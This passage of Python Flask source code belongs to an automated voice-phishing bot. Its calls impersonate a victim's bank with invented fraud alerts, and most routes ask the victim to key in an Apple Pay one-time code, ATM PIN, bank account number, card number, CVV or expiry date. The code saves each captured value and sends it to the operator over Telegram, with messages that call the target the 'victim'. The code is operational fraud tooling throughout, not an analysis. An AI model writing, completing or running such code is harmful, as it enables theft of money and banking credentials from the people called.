bot.send_message(chat_id, "*Call Was Declined/Voicemail ❌*\n\nUse /start to try again.", parse_mode='Markdown')
return ''
@app.route("/gatherappl/<userid>", methods=['GET', 'POST'])
def gather_appl(userid):
chat_id = userid
resp = VoiceResponse()
try:
if 'Digits' in request.values:
resp.say("Thank you, this attempt has been blocked! Goodbye.")
choice = request.values['Digits']
print(choice)
save_applnumber(choice, userid)
bot.send_message(chat_id, f"The collected Apple Pay OTP is {choice}")
return str(resp)
else:
choice = 0
save_applnumber(choice, userid)
bot.send_message(chat_id, f"The collected Apple Pay OTP is {choice}")
return str(resp)
except:
bot.send_message(chat_id, "No Apple Pay OTP was collected")
@app.route("/pin/<userid>", methods=['GET', 'POST'])
def intro_pin(userid):
chat_id = userid
bankname = fetch_bankname(userid)
resp = VoiceResponse()
choice = request.values['AnsweredBy']
if choice == 'human' or choice == 'unknown':
gather = Gather(action='/gatherpin/'+userid, finishOnKey='*', input="dtmf")
gather.say(f"Hello, this is an automated call from {bankname}, we have detected suspicious activity for a charge at Target for $56.71, If this was not you please stay on the call!, Please enter your four digit pin, followed by the star key to block this attempt")
resp.append(gather)
resp.redirect('/pin/<userid>')
return str(resp)
else:
resp.hangup()
bot.send_message(chat_id, "*Call Was Declined/Voicemail ❌*\n\nUse /start to try again.", parse_mode='Markdown')
return ''
@app.route("/gatherpin/<userid>", methods=['GET', 'POST'])
def save_pin(userid):
chat_id = userid
resp = VoiceResponse()
if 'Digits' in request.values:
resp.say("Thank you, this attempt has been blocked! Goodbye.")
choice = request.values['Digits']
print(choice)
save_atmpin(choice, userid)
bot.send_message(chat_id, f"The collected ATM Pin is {choice}")
return str(resp)
else:
bot.send_message(chat_id, "No ATM Pin was collected")
return str(resp)
@app.route("/actn/<userid>", methods=['GET', 'POST'])
def intro_act(userid):
chat_id = userid
bankname = fetch_bankname(userid)
print(bankname)
resp = VoiceResponse()
choice = request.values['AnsweredBy']
if choice == 'human' or choice == 'unknown':
gather = Gather(action='/gatheractn/'+userid, finishOnKey='*', input="dtmf")
gather.say(f"Hello, this is an automated call from {bankname}, we have detected suspicious activity on your card for a charge at Walmart for $87.61, If this was not you, please stay on the call, Please enter your bank account number followed by the star key to block this attempt")
resp.append(gather)
resp.redirect('/actn/<userid>')
return str(resp)
else:
resp.hangup()
bot.send_message(chat_id, "*Call Was Declined/Voicemail ❌*\n\nUse /start to try again.", parse_mode='Markdown')
return ''
@app.route("/gatheractn/<userid>", methods=['GET', 'POST'])
def save_account(userid):
chat_id = userid
resp = VoiceResponse()
if 'Digits' in request.values:
resp.say("Thank you, this attempt has been blocked ! Goodbye.")
choice = request.values['Digits']
print(choice)
save_accountnumber(choice, userid)
bot.send_message(chat_id, f"The Collected Account Number is {choice} 🏦")
return str(resp)
else:
bot.send_message(chat_id, "No Account Number was collected")
return str(resp)
@app.route("/crdf/<userid>", methods=['GET', 'POST'])
def introcall(userid):
chat_id = userid
bankname = fetch_bankname(userid)
resp = VoiceResponse()
choice = request.values['AnsweredBy']
if choice == 'human' or choice == 'unknown':
gather = Gather(action='/gatherdetails/'+userid, finishOnKey='*', input="dtmf", num_digits=1)
# remember to test if value like 4 or 6 is entered what happens
gather.say(
f"Hello, this an automated call from {bankname}, We have declined your last purchase of $141.99 at Macy's, your account has been put on hold until we verify the ownership of the account, Press 1 followed by the star key to enter your 16 digit Card Number and block this attempt")
resp.append(gather)
resp.redirect('/crdf/<userid>')
return str(resp)
else:
resp.hangup()
bot.send_message(chat_id, "*Call Was Declined/Voicemail ❌*\n\nUse /start to try again.", parse_mode='Markdown')
return ''
@app.route('/gatherdetails/<userid>', methods=['GET', 'POST'])
def gather(userid):
chat_id = userid
resp = VoiceResponse()
if 'Digits' in request.values:
choice = request.values['Digits']
print(choice)
if choice == '1':
gather = Gather(action='/gathercdrno/'+userid, finishOnKey='*', input="dtmf")
gather.say('Please input your 16 digit card number followed by the star key to block this attempt ')
resp.append(gather)
return str(resp)
else:
resp.say("Sorry, I don't understand that choice.")
resp.redirect('/crdf/<userid>')
else:
resp.say("Sorry, I don't understand that choice.")
bot.send_message(chat_id, "Victim is being difficult, still trying 😤")
resp.redirect('/crdf/<userid>')
return str(resp)
@app.route('/gathercdrno/<userid>', methods=['GET', 'POST'])
def gathercardno(userid):
resp = VoiceResponse()
chat_id = userid
if 'Digits' in request.values:
choice = request.values['Digits']
save_cardnumber(choice, userid)
bot.send_message(chat_id, f"Card #: {choice} 💳")
gather = Gather(action='/gathercrdcvv/'+userid, finishOnKey='*', input="dtmf")
gather.say('Please input the 3 numerical digits located on the back of your card followed by the star key')
resp.append(gather)
return str(resp)
else:
resp.say("Sorry, I don't understand that choice")
bot.send_message(chat_id, "Victim is being difficult, still trying 😤")
resp.redirect('/crdf/<userid>')
return str(resp)
@app.route('/gathercrdcvv/<userid>', methods=['GET', 'POST'])
def gathercvv(userid):
chat_id = userid
resp = VoiceResponse()
if 'Digits' in request.values:
choice = request.values['Digits']
save_cardcvv(choice, userid)
bot.send_message(chat_id, f"Card CVV: {choice}")
gather = Gather(action='/finalthanks/'+userid, finishOnKey='*', input="dtmf")
gather.say('Please input the expiry month and year shown on your card and press the star key')
resp.append(gather)
return str(resp)
else:
resp.say("Sorry, I don't understand that choice")
bot.send_message(chat_id, "Victim is being difficult, still trying 😤")
resp.redirect('/crdf/<userid>')
return str(resp)
@app.route("/custom/<userid>", methods=['GET', 'POST'])
def voice_custom(userid):
chat_id = userid
resp = VoiceResponse()
script = fetch_script(userid)